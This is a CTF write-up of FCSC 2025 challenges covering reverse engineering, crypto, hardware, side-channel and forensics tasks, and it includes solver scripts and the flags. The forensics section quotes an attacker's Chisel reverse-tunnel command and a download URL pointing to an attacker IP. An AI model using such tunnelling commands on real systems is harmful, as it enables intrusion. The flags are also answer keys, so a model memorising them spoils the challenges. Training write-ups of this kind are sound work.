FCSC 2025
Welcome
netcat
1
2
Connect to the remote service with the command netcat (nc(1)) given below to grab the flag.
nc chall.fcsc.fr 2058
By running nc chall.fcsc.fr 2058
we get the flag.
- Flag:
FCSC{Tous_les_flags_ressemblent_à_ce_genre_de_chaines_de_caractères!}
Réseaux sociaux
1
2
3
A message has been hidden in the various announcements of the FCSC, will you be able to find it?
Note: If you wish to contact the organizing team during the FCSC to report an issue or share memes, the most effective way is to join the FCSC Discord server: https://discord.gg/rwZY6hh8z8
The first announcement message contains the flag.
- Flag:
FCSC{BtxZTB9ePWVc}
SSTIC
1
The FCSC organizing team has published a feedback report at SSTIC 2024 (in PDF and/or video format). In it, we provide, in French, a number of organizational and technical details about the FCSC, particularly regarding the management of the infrastructure we use. Will you be able to find the hidden flag in this publication?
In this document there is a footer note at page 97 that contains the flag.
- Flag:
FCSC{23824e6c87abcc709f6ccf85274fe968}
Hackropole
1
2
3
4
5
6
The FCSC is a CTF organized by ANSSI every year since 2019.
To allow everyone to replay the challenges once the event is over, ANSSI has opened the Hackropole website to archive the challenges. As of today, 435 challenges from the last six editions of the FCSC are available, and the challenges from FCSC 2025 will also be added there.
Hackropole allows anyone to practice, train, or simply discover cybersecurity professions. From beginners who want to explore technical cybersecurity jobs to experts who want to challenge themselves, different difficulty levels are available. Unlike the FCSC, the learning environment of Hackropole is not competitive: there is no ranking, and solutions written by the community are accessible to everyone.
For this welcome challenge, you are invited to solve the Docker and Netcat challenge from FCSC 2024 on Hackropole.
By following step-by-step the Hackropole chall we get the flag (very similar to netcat).
- Flag:
FCSC{cc4672dc4e2bd5eb50bb98ee0e8bb2e992e6003baea4e06deeae7a08c4966d96}
Intro
Win95 Forever
1
2
Welcome in the nineties!
https://win95-forever.fcsc.fr/
The website contains a HTML comment with the flag.
1
<!-- FCSC{d31df42c489570dae488fa071326510903ef452dcde00a2dd22447c7d15ae104} -->
- Flag:
FCSC{d31df42c489570dae488fa071326510903ef452dcde00a2dd22447c7d15ae104}
Voilà (Baby)
1
2
3
4
5
Alice loves listening to music. Unfortunately, she misconfigured her firewall and accidentally exposed her music collection on the Internet. Alice organizes her personal collection in an unconventional way: instead of sorting by genre, album, or artist, she renames her music files based on her imagination.
To begin, connect to her music collection and find the hidden flag in the metadata.
Alice's music collection is accessible at nc chall.fcsc.fr 2052.
When connecting with netcat, the server respond with OK MPD 0.23.5
, so we know the service is MPD. We can send list Artist
to list artists, one of which is the flag.
1
2
3
4
5
+ OK MPD 0.23.5
- list Artist
+ Artist:
+ Artist: FCSC{da73b72ebff9d887d6e329a50da3fe470439d5ad1a530dea04dd382f63e79b5f}
+ OK
- Flag:
FCSC{da73b72ebff9d887d6e329a50da3fe470439d5ad1a530dea04dd382f63e79b5f}
Intro to pwntools
1
2
3
4
5
6
7
8
9
10
11
12
13
This is not a real challenge, but rather an example of how to use Python to communicate with the remote services of FCSC, Hackropole, and more generally, with any service exposing a TCP port.
If you are not familiar with these concepts, start by installing the Python package pwntools on your machine. This package is extremely useful in CTFs and helps simplify a lot of tasks.
In our case, we will only use it to communicate with a service exposing a TCP port.
This service is accessible here: nc chall.fcsc.fr 2053.
The port is TCP port number 2053.
The server is located at the address chall.fcsc.fr.
nc (netcat) is a utility that allows you to connect to a TCP port.
Although it is possible to solve this challenge manually or directly from the provided template.py file, we recommend studying the different functions used in template.py. These are the main functions used in pwntools for communicating with remote services, and they might be useful for you for other FCSC or Hackropole challenges.
By simply running the script we get the flag (after understanding the script, of course ;)).
- Flag:
FCSC{5bdcc7d8671457aa9366753d9f4cf2ed67832784c383c502f5c3d07361b16158}
Sloubi
1
Sloubi 1! Sloubi 2! Sloubi 3! Sloubi 4! Sloubi 5! Sloubi 6! Sloubi 7! Sloubi 8! Sloubi 9! Sloubi 10! Sloubi 11! Sloubi 12! Sloubi 13! Sloubi 14! Sloubi 15! Sloubi 16! Sloubi 17! Sloubi 18! Sloubi 19! Sloubi 20! Sloubi 21! Sloubi 22! Sloubi 23! Sloubi 24! Sloubi 25! Sloubi 26! Sloubi 27! Sloubi 28! Sloubi 29! Sloubi 30! Sloubi 31! Sloubi 32!
A simplified version of main
function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int main(int argc, const char **argv) {
char input[48];
char scrambled[40];
if (fgets(input, 40, _bss_start)) {
if (strlen(input) == 32) {
for (int i = 0; i < 32; ++i)
scrambled[(17 * i + 51) % 32] = input[i];
scrambled[32] = 0;
if ( !strcmp(scrambled, "4B}mCuCNJmeVhvCzQusFHS7{2gCBCrQW") )
puts("Congrats! You can use this flag to validate the challenge.");
else
puts("Nope.");
return 0;
}
}
}
The program is asking for 32 sized input, scrambles it and compare the scrambled version with a string. I built a python script that generate an array of offsets to unscramble.
1
2
3
4
5
6
buf = "4B}mCuCNJmeVhvCzQusFHS7{2gCBCrQW"
unscramb = []
for i in range(32):
unscramb.append((17*i+53)%32)
print(''.join(buf[i] for i in unscramb))
- Flag:
FCSC{JgeBhrCWQBsmHu7N2mCVCvQz4u}
Carotte Radis Tomate
1
Eat five fruits and vegetables every day!
The Python script is vulnerable to Chinese Remainder Theorem, we can extract modulos from the script and residues from the output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from sympy.ntheory.modular import crt
mods = [
17488856370348678479,
16548497022403653709,
17646308379662286151,
14933475126425703583,
17256641469715966189
]
residues = [
392278890668246705,
4588810924820033807,
17164682861166542664,
12928514648456294931,
5973470563196845286
]
x, _ = crt(mods, residues)
key = int(x).to_bytes(32, 'big')
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
E = AES.new(key, AES.MODE_ECB)
flag = unpad(E.decrypt(bytes.fromhex("2da1dbe8c3a739d9c4a0dc29a27377fe8abc1c0feacc9475019c5954bbbf74dcedce7ed3dc3ba34fa14a9181d4d7ec0133ca96012b0a9f4aa93c42c61acbeae7640dd101a6d2db9ad4f3b8ccfe285e0d")), 16)
print(flag.decode())
- Flag:
FCSC{2c4c4b3be7d86e1642ce6a8bf1bd75f33b9736e5943f51a49fb9327e248c3b6a}
Badd Circuit
1
2
3
4
5
Here is a logic circuit that implements an unknown function. What is the value of the four output bits?
The flag format is FCSC{<value>}. For example, if the value to find is 0001, the flag would be FCSC{0001}.
Warning: This challenge is limited to 3 submission attempts.
I simply follow traces with paint.
Flag: FCSC{0010}
SOCrate 1/6 - Technologie
1
2
3
On webserver machine, what is the working directory of the web application?
Flag format: FCSC{/var/www/***/************/}
By simply running grep "/var/www" . -r
on linux
folder, we get the flag.
- Flag:
FCSC{/var/www/app/banque_paouf}
iForensics - iCrash
1
It seems that a flag has hidden itself in the place where crashes are stored on the phone...
The flag is in fcsc_intro.txt
. (grep "FCSC{" . -r
)
- Flag:
FCSC{7a1ca2d4f17d4e1aa8936f2e906f0be8}
Reverse
babyfuscation
1
A (very) slightly obfuscated reverse challenge!
The main function starts by XORing some buffers, once XORed we get:
1
2
3
VYeXkgjLLMrczyw7i7dJPkyAbxqgCahe = "Enter the flag: "
a93rEUcvwf4Ec9KHKqzFx7wL = "Correct! You've found the flag!"
ouPrjEhgqPVNXCqchuzw7WTWLHnkbwqj = "Wrong flag. Try again!"
Then, the first function VsvYbpipYYgRoCeFtoxhtAmdFuNu3WvV
prints VYeXkgjLLMrczyw7i7dJPkyAbxqgCahe
then read into aixxj3qmUvFTqgqLodmuaEap
which is probably the user input.
The second function (wKtyPoT4WdyrkVzhvYUfvqo3M9iPVMd3
) contains a loop that iterates over every character of user input, apply a transformation ((i * 3 + 0x1f) ^ (c << 3 | c >> 5)
) and store it in U94y77bvL3HfcnwcAc3UA9MJTvcwjP4j
.
Finally, the last function call (VakkEeHbtHMpNqXPMkadR4v7K
) calls a function (faubPTXHmhV4vfgEpzjqfMRjJ3qunsq9
) with the transformed buffer and a static one, if it fails, it prints Wrong flag. Try again!
else it prints Correct! You've found the flag!
.
The function faubPTXHmhV4vfgEpzjqfMRjJ3qunsq9
simply compare character by character the two buffers.
We need to reverse the transformation, here is a script to do it:
1
2
3
4
buf = bytes.fromhex("2d38bf32f005a8b5049b8c53cae7f067f659c4f150e77aa574abdcd950f75abdb62b9e319037081d3ea92c690a67389f0e2b2493721f406dd47bee511a4fca6decf124cb7205f1")
xored = [c^((i * 3 + 0x1f)) for i,c in enumerate(buf)]
out = bytes([(c >> 3)&0x1F | (c & 0x3)<<5 for c in xored])
print(out)
Here is the full deobfuscated code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
unsigned char valid[0x4f] = {45, 56, 191, 50, 240, 5, 168, 181, 4, 155, 140, 83, 202, 231, 240, 103, 246, 89, 196, 241, 80, 231, 122, 165, 116, 171, 220, 217, 80, 247, 90, 189, 182, 43, 158, 49, 144, 55, 8, 29, 62, 169, 44, 105, 10, 103, 56, 159, 14, 43, 36, 147, 114, 31, 64, 109, 212, 123, 238, 81, 26, 79, 202, 109, 236, 241, 36, 203, 114, 5, 241, 0, 0, 0, 0, 0, 0, 0, 0};
unsigned char prompt[0x4f] = {7, 44, 54, 39, 48, 98, 54, 42, 39, 98, 36, 46, 35, 37, 120, 98, 66};
char success[0x1b] = "P|aavpg23J|f4ev3u|f}w3g{v3u\x7f\x72\x74\x32\x13"
char fail[0x5] = "`EXYP\x17Q[VP\x19\x17cEN\x17VPV^Y\x167"
char user_input[0x4F];
char output_buf[0x4F];
int prepare_buf() {
int input_len = strlen(&user_input) + 1;
for (int i = 0; i < input_len; i += 1) {
char c = user_input[i];
output_buf[i] = (i * 3 + 0x1f) ^ (c << 3 | c >> 5);
}
output_buf[input_len] = 0;
return result;
}
void* get_user_input(){
puts(prompt);
fgets(user_input, 0x50, stdin);
int result = strstr(user_input, "\n");
user_input[result] = 0;
return result;
}
int64_t check_success() {
if (!strcmp(output_buf, valid)) {
puts(success);
return 1;
}
puts(fail);
return 0;
}
int main(int argc, char** argv, char** envp) {
for (int i = 0; i <= 0x4f; i++) prompt[i] ^= 0x42;
for (int i = 0; i <= 0x4f; i++) success[i] ^= 0x13;
for (int i = 0; i <= 0x4f; i++) fail[i] ^= 0x37;
get_user_input();
prepare_buf();
return check_success();
}
- Flag:
FCSC{e30f46b147e7a25a7c8b865d0d895c7c7315f69582f432e9405b6d093b6fb8d3}
Hardware
Le calme avant la tempest
1
2
3
A TEMPEST attack requires to capture spurious emissions from a device, and process them in order to reconstruct the original signal.
A video signal coming from a screen has been intercepted and could be processed with a raster. The sample rate is 20 MHz. Data is stored as signed integers on 16 bits. Process this signal to see the flag.
We can use JTempestSDR to decode the signal
Parameters :
- Mode:
PAL TV
- Width:
2000
- Height:
1124
- FPS:
59.99319806
Flag: FCSC{T3MP3ST_F0R3V3R}
Grand Classic Hotel
1
2
3
4
5
6
7
During a business trip you rest at the Grand classic hotel, on the Mifare coast. When you come back from your early morning running session, you realize that you lost your room key card.
The employees at the reception desk cannot help you because the tech guy is on holidays (yeah, again). But they find a debug trace file on his computer he has made by sniffing the communication between the key card and the door lock with a Proxmark during a physical security exercise.
They agree to let you search for the flag it contains.
The technology here is Mifare Classic, which is based on ISO 14443.
Using Proxmark 3 we can load the file and list the activity
1
2
[offline] pm3 --> trace load -f grand-classic.trace
[offline] pm3 --> trace list -1 -t mf
(mf
stands for Mifare
)
After isolating all the READBLOCK packet we have :
1
2
3
4
5
6
7
8
00000000 d4 d5 ab f2 d0 f1 d5 00 b0 8a 42 e8 cf 19 6a 18 f1 93 |..........B...j...|
00000012 46 43 53 43 7b 64 63 61 34 31 62 61 66 65 34 38 04 8e |FCSC{dca41bafe48..|
00000024 16 e7 7e d9 90 24 70 a6 e4 3c ac 5a e3 f4 f8 3c bd 65 |..~..$p..<.Z...<.e|
00000036 63 35 37 62 66 32 63 39 33 30 39 63 34 38 35 64 b6 d3 |c57bf2c9309c485d..|
00000048 1f fb c0 c2 fc e4 32 c6 cf d7 3e 01 98 25 45 b8 73 8a |......2...>..%E.s.|
0000005a 61 32 36 37 64 32 33 64 65 30 34 66 39 7d 00 00 4a 9f |a267d23de04f9}..J.|
0000006c 72 63 a3 cc d8 72 f0 4b f1 6a f0 45 6d 03 91 ae b2 9f |rc...r.K.j.Em.....|
0000007e 00 00 00 00 00 00 ff 07 80 69 ff ff ff ff ff ff d4 55 |.........i.......U|
From there we can rebuild the flag.
- Flag:
FCSC{dca41bafe48c57bf2c9309c485da267d23de04f9}
Forensics
iForensics - iDevice
1
2
3
To start with, find some information of interest about the phone: iOS version and phone model identifier.
The flag is in the format FCSC{<model identifier>|<build number>}. For example, for an iPhone 14 Pro Max running iOS 18.4 (22E240): FCSC{iPhone15,3|22E240}.
In Info.plist
:
1
2
3
4
<key>Build Version</key>
<string>20A362</string>
<key>Product Type</key>
<string>iPhone12,3</string>
- Flag:
FCSC{iPhone12,3|20A362}
iForensics - iWiFi
1
2
3
To continue, find some information of interest about the phone: SSID and BSSID of the WiFi network the phone is connected to, as well as the iCloud account associated with the phone.
The flag is in the format FCSC{<SSID>|<BSSID>|<iCloud account>}. For example, if the phone is connected to the example WiFi network, which has the BSSID 00:11:22:33:44:55 and the associated iCloud account is example@example.com: FCSC{example|00:11:22:33:44:55|example@example.com}.
By running grep "BSSID=" . -r
on sysdiagnose_and_crashes we get the BSSID and SSID: BSSID=66:20:95:6c:9b:37 ... ssid[ 4]='FCSC'
As for the iCloud account, in Info.plist
there is iTunesMetadata
, once decoded in base64 we can see robertswigert@icloud.com
.
- Flag:
FCSC{FCSC|66:20:95:6c:9b:37|robertswigert@icloud.com}
SOCrate 3/6 - Outil téléchargé
1
2
3
4
5
The attacker used the reverse shell from the previous question to download a tool. Then, he executed this tool.
Find the URL of the download and find the original name of the tool (the binary having been renamed).
Flag format: FCSC{URL|ORIGINAL_NAME}
By running grep -E "80.125.9.58" . -r | grep -E '(wget|curl)'
(80.125.9.58
is the attacker IP) we find two URLs.
We can then run grep -E "80.125.9.58" . -r | grep -E '(text|cat)'
to find all usages. The binary text
is used like this ./text client -v 80.125.9.58:4444 R:socks
, when searching client -v R:socks
we find blogs about Chisel
.
- Flag:
FCSC{http://80.125.9.58:80/text|chisel}
SOCrate 4/6 - Latéralisation
1
The tool identified in question 3 has made several LDAP requests. Find the IP and FQDN of the machine targeted by these requests.
SCA Faults
CryptoBro en détresse
1
2
3
4
5
To recover the PIN of my super-secure cryptocurrency wallet, which contains 0.00000001 BTC, I bought a top-tier oscilloscope for 10,000 euros. But I don't really know what to do with all these traces. Maybe you could give me a hand?
I've acquire one trace for each possible PIN, but to avoid triggering a security mechanism and thus erasing the wallet, I turn off the power after a few microseconds after each attempt.
Note: The cryptobro.tar.xz archive contains files named trace_XXXX.npy, where XXXX corresponds to the PIN used to generate the trace. Once you have recovered the PIN, wrap it between FCSC{} to get the flag. For example, if the PIN were 1234, the flag would be FCSC{1234}.
The goal is to find differences in signal between attempts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import numpy
keys = {}
for i in range(1, 10000):
file = f"trace_{str(i).rjust(4, '0')}.npy"
keys[str(i).rjust(4, '0')] = numpy.load(file)
k = list(keys.keys())
for i in range(1, len(k)):
diff = keys[k[i]] - keys[k[i-1]]
v = numpy.sum(numpy.abs(diff))
if v > 4: print(k[i], "changed state") # Big difference
That gives us :
1
2
3
4
5
6
7
9000 changed state
9400 changed state
9460 changed state
9466 changed state
9467 changed state
9470 changed state
9500 changed state
There is a spike everytimes a digit is “added”, we can easily deduce the PIN is 9466
.
- Flag:
FCSC{9466}
Speedrun
Polygraph
- Decompilated with Binary Ninja, names can vary
After asking for an input in var_58
, the program is iterating over a large 8bit integer buffer data_140005041
, I will call it rom
(which starts 1 byte too late, i will ajust offsets, so -1 => 0, 0 => 1 and 1 => 2), 3 bytes per 3 bytes:
- The first byte is used to determine an operation to do
- The second and third byte is used by the operation
Each operation modifies a 32bit integer buffer data_140005f60
(I will call it ram
), with data from ram
, rom
, or user_input
. This is typically called a Virtual Machine.
After this, it will check if data_140005f60[0]
is null, if it is, we succeed.
Firt step, I made a decompiler for this VM in python to see what is going on.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rom = bytes.fromhex("...") # the rom content
pc = 0
while pc < len(rom):
c1 = rom[pc]
op1 = rom[pc+1]
op2 = rom[pc+2]
if c1 == 0xb: print(f"ADD mem[{op1}], mem[{op2}]")
elif c1 == 0x16: print(f"SUB mem[{op1}], mem[{op2}]")
elif c1 == 0x2c: print(f"LSL mem[{op1}], {op2}")
elif c1 == 0x37: print(f"LSR mem[{op1}], {op2}")
elif c1 == 0x42: print(f"MUL mem[{op1}], mem[{op2}]")
elif c1 == 0x4d: print(f"OR mem[{op1}], mem[{op2}]")
elif c1 == 0x58: print(f"MOV mem[{op1}], user[{op2}]")
elif c1 == 0x63: print(f"ADD mem[{op1}], {op2}")
pc += 3
Since all operations are methematical/logical operations or assignment, I made a Python script that generate the “equation” for all 5 addresses of ram
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
rom = bytes.fromhex("...")
mem = [""]*5
pc = 0
while pc < len(vm):
c1 = vm[pc]
op1 = vm[pc+1]
op2 = vm[pc+2]
if c1 == 0xb: mem[op1] = f"({mem[op1]})+({mem[op2]})"
elif c1 == 0x2c: mem[op1] = f"({mem[op1]})<<({op2})"
elif c1 == 0x37: mem[op1] = f"({mem[op1]})>>({op2})"
elif c1 == 0x42: mem[op1] = f"({mem[op1]})*({mem[op2]})"
elif c1 == 0x4d: mem[op1] = f"({mem[op1]})|{mem[op2]}"
elif c1 == 0x58: mem[op1] = f"user[{op2}]"
elif c1 == 0x63: mem[op1] = f"({mem[op1]})+({op2})"
elif c1 == 0x16: mem[op1] = f"({mem[op1]})-({mem[op2]})" if op1 != op2 else "0"
pc += 3
for i,v in enumerate(mem):
print(f"mem[{i}] = {v}")
I just put a condition for 0x16
, if we substract a value with itself, we just reset it to 0
, without it, the script is taking more than 16Gb of RAM and crashes my PC …
I the created a Python script to simplify the equation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import re
def cleanup_add(expr):
def repl(match):
a = int(match.group(1))
b = int(match.group(2))
return str(a + b)
pattern = r'\((\d+)\)\+\((\d+)\)'
return re.sub(pattern, repl, expr)
def cleanup_shift(expr):
def repl(match):
a = int(match.group(1))
b = int(match.group(2))
return str(a << b)
pattern = r'\((\d+)\)<<\((\d+)\)'
return re.sub(pattern, repl, expr)
def cleanup_sub(expr):
def repl(match):
a = int(match.group(1))
b = int(match.group(2))
return str(a - b)
pattern = r'\((\d+)\)-(\d+)'
expr = re.sub(pattern, repl, expr)
pattern = r'\((\d+)\)-\((\d+)\)'
return re.sub(pattern, repl, expr)
def cleanup_user(expr):
def repl(match):
return match.group(1)
pattern = r'\((user\[\d+\])\)'
return re.sub(pattern, repl, expr)
def cleanup_num(expr):
def repl(match):
return match.group(1)
pattern = r'\((\d+)\)'
return re.sub(pattern, repl, expr)
while True:
a = len(ev)
ev = cleanup_sub(cleanup_shift(cleanup_add(ev)))
b = len(ev)
if a == b: break
out = cleanup_user(cleanup_num(ev)) # To remove useless parenthesis
It applies the same operations in loop until the length ends reducing.
And we get … that …
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(((((((((((((((0
|(((-730002)+((-2821)*user[0]))+((-65)*(user[0]*user[0])))+(13*((user[0]*user[0])*(0+user[0]))))
|(((-6089664)+((-175560)*user[1]))+((-6594)*(user[1]*user[1])))+(42*((user[1]*user[1])*(0+user[1]))))
|(((-3084498)+((-27360)*user[2]))+((-2584)*(user[2]*user[2])))+(38*((user[2]*user[2])*(0+user[2]))))
|(((-3123615)+((-104489)*user[3]))+((-1067)*(user[3]*user[3])))+(11*((user[3]*user[3])*(0+user[3]))))
|(((-44885828)+((-1844232)*user[4]))+((-4992)*(user[4]*user[4])))+(52*((user[4]*user[4])*(0+user[4]))))
|(((-5298272)+((-147259)*user[5]))+((-805)*(user[5]*user[5])))+(7*((user[5]*user[5])*(0+user[5]))))
|(((-82195344)+((-230454)*user[6]))+((-6300)*(user[6]*user[6])))+(63*((user[6]*user[6])*(0+user[6]))))
|(((-33327504)+((-65772)*user[7]))+((-546)*(user[7]*user[7])))+(42*((user[7]*user[7])*(0+user[7]))))
|(((-80748306)+((-1526580)*user[8]))+((-108)*(user[8]*user[8])))+(54*((user[8]*user[8])*(0+user[8]))))
|(((-81678024)+((-1730021)*user[9]))+((-3416)*(user[9]*user[9])))+(61*((user[9]*user[9])*(0+user[9]))))
|(((-7945344)+((-60240)*user[10]))+((-744)*(user[10]*user[10])))+(8*((user[10]*user[10])*(0+user[10]))))
|(((-37952735)+((-479109)*user[11]))+((-4089)*(user[11]*user[11])))+(29*((user[11]*user[11])*(0+user[11]))))
|(((-50195480)+((-495440)*user[12]))+((-6720)*(user[12]*user[12])))+(40*((user[12]*user[12])*(0+user[12]))))
|(((-39321080)+((-1741840)*user[13]))+((-1120)*(user[13]*user[13])))+(40*((user[13]*user[13])*(0+user[13]))))
|(((-31795600)+((-415222)*user[14]))+((-2929)*(user[14]*user[14])))+(29*((user[14]*user[14])*(0+user[14]))))
|(((-17395)+((-1360)*user[15]))+((-210)*(user[15]*user[15])))+(5*((user[15]*user[15])*(0+user[15])))
Since this needs to be equal to 0
, each line that is ORed
need to be equal to zero. After further looking, each line is a 3rd degree polynom, and is applied to each byte of user_input
.
I extracted coefficients and wrote a small script to bruteforce all values.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
polynoms = [
[-730002, -2821, -65, 13], [-6089664, -175560, -6594, 42],
[-3084498, -27360, -2584, 38], [-3123615, -104489, -1067, 11],
[-44885828, -1844232, -4992, 52], [-5298272, -147259, -805, 7],
[-82195344, -230454, -6300, 63], [-33327504, -65772, -546, 42],
[-80748306, -1526580, -108, 54], [-81678024, -1730021, -3416, 61],
[-7945344, -60240, -744, 8], [-37952735, -479109, -4089, 29],
[-50195480, -495440, -6720, 40], [-39321080, -1741840, -1120, 40],
[-31795600, -415222, -2929, 29], [-17395, -1360, -210, 5]
]
compute = lambda c, x: sum(v*x**i for i,v in enumerate(c))
out = []
for p in polynoms:
for i in range(256):
if compute(p, i) == 0: out.append(i)
Back to Binary ninja, user input is passed sub_14000105c
which compute SHA256 sum of user_input, which is then printed. Last python script.
1
2
3
import hashlib
hash = hashlib.sha256(bytes(out)).hexdigest()
print("FCSC{" + str(hash) + "}")
- Flag:
FCSC{374895262ded6e36581df74241cd220f00005d993289bc7cceb0beb0504999b8}